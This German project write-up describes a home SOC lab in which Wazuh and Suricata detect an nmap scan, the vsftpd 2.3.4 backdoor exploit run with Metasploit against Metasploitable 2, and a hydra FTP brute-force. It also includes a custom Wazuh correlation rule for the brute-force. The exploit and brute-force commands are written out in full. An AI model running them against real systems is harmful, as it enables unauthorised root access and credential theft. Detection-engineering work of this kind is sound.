
Wazuh + Suricata SOC-Labor zur Erkennung realer Exploits (CVE-2011-2523) und Brute-Force-Angriffe, mit benutzerdefinierten Erkennungsregeln für Lücken in den Standard-IDS-Signaturen.
Ein selbst gehostetes Security Operations Center-Labor, das darauf ausgelegt ist, echte Angriffstechniken gegen ein absichtlich verwundbares Ziel zu erkennen, mit Wazuh als SIEM und Suricata als netzwerkbasiertem IDS-Sensor. Entwickelt, um Detection-Engineering-Fähigkeiten zu demonstrieren – nicht nur Tool-Bereitstellung.
Moderne SOC-Arbeit ist nicht einfach „SIEM installieren und Dashboard beobachten.“ Es geht darum zu verstehen, warum eine Erkennungslücke existiert, und zu wissen, wie man sie schließt. Dieses Labor simuliert eine kleine, realistische Umgebung: eine Angreifer-Box, ein Legacy-/verwundbares Ziel ohne native Protokollierungsunterstützung und einen SIEM-Stack, der um diese Einschränkung herum arbeiten muss – mithilfe von Sichtbarkeit auf Netzwerkebene statt Host-Agenten.
Zentrale Architekturentscheidung: Das Ziel (Metasploitable 2) läuft auf einem Betriebssystem, das zu alt ist, um einen modernen Wazuh-Agenten oder sogar einen Syslog-Forwarder mit Internetzugriff zu unterstützen. Statt dies als Hindernis zu betrachten, setzt das Projekt auf vollständige netzwerkbasierte Erkennung über Suricata – ein realistisches Muster für Legacy-, IoT- oder OT-Assets, die nicht direkt instrumentiert werden können.
┌─────────────┐ attacks ┌──────────────────────┐
│ Kali VM │ ────────────────────────▶│ Metasploitable 2 │
│ (attacker + │ │ (unmonitored victim, │
│ Suricata │ │ no agent, no │
│ sensor + │ │ internet access) │
│ Wazuh agent│ └──────────────────────┘
└──────┬──────┘
│ eve.json (Suricata alerts/events)
│ forwarded via Wazuh agent
▼
┌─────────────────────┐
│ Wazuh Manager │
│ (Amazon Linux 2023)│
│ Indexer + Dashboard│
└─────────────────────┘
Alle drei VMs laufen auf VirtualBox und sind als NAT-Netzwerk im 192.168.0.0/24-Bereich verbunden.

| Komponente | Rolle | OS |
|---|---|---|
| Wazuh Manager | SIEM: Indexer, Dashboard, Regel-Engine | Amazon Linux 2023 |
| Kali Linux | Angreifer + Suricata-Netzwerksensor + Wazuh-Agent | Kali (Debian-basiert) |
| Metasploitable 2 |
Suricata benötigt Sichtbarkeit auf den Datenverkehr zwischen Angreifer und Ziel. Es gibt zwei Optionen: eine dedizierte Sensor-VM mit einer Promiscuous-/gespiegelten Schnittstelle oder der Betrieb des Sensors auf einem der beiden Hosts, die bereits im Verkehrspfad liegen. Da der Wazuh-Manager (Amazon Linux 2023) keine EPEL-Unterstützung bietet und die Installation von Suricata unpraktikabel machte, und das Ziel keinerlei Agenten ausführen kann, läuft Suricata direkt auf der Kali-Box. Das bedeutet, dass der Sensor 100 % des Angriffsverkehrs auf seiner eigenen Schnittstelle sieht – ohne Promiscuous-Modus oder Span-Port – und seine Ereignisse über den bereits auf Kali registrierten Wazuh-Agenten an den Manager sendet.
Angriff:
nmap -sV -A 192.168.0.138

Erkennung: Der Emerging-Threats-Regelsatz von Suricata kennzeichnete in Echtzeit mehrere Scan-bezogene und Protokoll-Anomalie-Signaturen, als der Scan jeden offenen Port berührte, einschließlich des Datenverkehrs auf Metasploitables freigelegtem UnrealIRCd-Dienst (ET CHAT IRC USER command).
Ergebnis: 132+ IDS-Ereignisse wurden generiert und innerhalb von Sekunden nach Abschluss des Scans in der Threat-Hunting-Ansicht von Wazuh korrekt unter den Regelgruppen ids, suricata klassifiziert.

Angriff:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.0.138
msf6 > set LHOST 192.168.0.200
msf6 > run

Das vsftpd 2.3.4 von Metasploitable enthält eine Hintertür, die durch eine fehlerhaft formatierte FTP-Anmeldungszeichenfolge ausgelöst wird und eine Root-Shell auf TCP-Port 6200 erzeugt. Der Exploit landete sauber und lieferte eine Meterpreter-Sitzung als root.
Erkennung: Die Suricata-Signatur GPL ATTACK_RESPONSE id check returned root (SID 2100498) wurde 11 Sekunden nach dem Spawnen der Shell ausgelöst und erkannte den Klartext-String uid=0(root) in der Befehlsausgabe der Shell, als dieser über Port 6200 übertragen wurde.
"signature": "GPL ATTACK_RESPONSE id check returned root",
"signature_id": 2100498,
"src_ip": "192.168.0.138",
"src_port": 6200,
"dest_ip": "192.168.0.200",
"direction": "to_client"

Warum das wichtig ist: Dies ist eine Bestätigung auf Netzwerkebene für eine erfolgreiche Root-Kompromittierung eines Assets ohne jegliche hostbasierte Protokollierung – genau das Szenario, für das die Architektur entwickelt wurde.
Angriff:
hydra -l msfadmin -P /tmp/quicklist.txt -t 4 ftp://192.168.0.138

Hydra versuchte mehrere FTP-Anmeldungen in schneller Folge und identifizierte nach mehreren fehlgeschlagenen Versuchen korrekt das gültige Anmeldedatenpaar msfadmin:msfadmin.
Erkennungsstatus: Der FTP-Protokollparser von Suricata erfasste jeden einzelnen USER/PASS-Befehl und Server-Antwortcode in eve.json (event_type: ftp), nachweislich vorhanden im rohen Ereignisarchiv des Managers:
{"event_type":"ftp","src_ip":"192.168.0.200","dest_ip":"192.168.0.138",
"dest_port":21,"ftp":{"command":"PASS","command_data":"root",
"completion_code":["530"],"reply":["Login incorrect."]}}

Der Standard-Regelsatz von Suricata enthält keine dedizierte Signatur für FTP-Brute-Forcing, da es sich um ein Protokollmuster handelt und nicht um einen bekannten Schad-String. Eine benutzerdefinierte Wazuh-Korrelationsregel wurde entwickelt, um diese Lücke zu schließen:
<group name="suricata,ftp,brute_force,">
<rule id="100100" level="5">
<if_sid>86600</if_sid>
<field name="event_type">^ftp$</field>
<field name="data.ftp.command">^PASS$</field>
<description>Suricata: FTP password attempt detected on $(data.dest_ip)</description>
</rule>
<rule id="100101" level="10" frequency="4" timeframe="60">
<if_matched_sid>100100</if_matched_sid>
<description>Suricata: Possible FTP brute force attack detected - multiple password attempts within 60 seconds</description>
<mitre>
<id>T1110</id>
</mitre>
</rule>
</group>
Status: in Bearbeitung – die zugrunde liegenden Ereignisdaten erreichen nachweislich den Manager, und die Regelsyntax wurde über wazuh-logtest validiert, aber die Korrelationsregel (100101) feuert noch nicht zuverlässig Ende-zu-Ende. Nächster Debugging-Schritt ist die Bestätigung des Decoder-Feldpfads, der verschachtelten Suricata-FTP-Feldern zur Parse-Zeit zugewiesen wird, über wazuh-logtest gegen eine Live-Stichprobe. Wird unten als zukünftige Arbeit erfasst.
archives.log/archives.json sind standardmäßig nicht aktiviert (logall/logall_json stehen standardmäßig auf no) und sind unerlässlich zum Debuggen, was ein SIEM tatsächlich empfangen hat, im Gegensatz zu dem, wofür es sich entschieden hat, Warnungen auszugeben.usermap_script-RCE (CVE-2007-2447) als fünfte Technik hinzufügen| Technik | ID | Status |
|---|---|---|
| Active Scanning | T1595 | ✅ Erkannt |
| Exploit Public-Facing Application | T1190 | ✅ Erkannt |
| Brute Force | T1110 | 🔶 In Bearbeitung |
| Verwundbares Ziel, unbeaufsichtigt |
| Ubuntu 8.04 (Legacy) |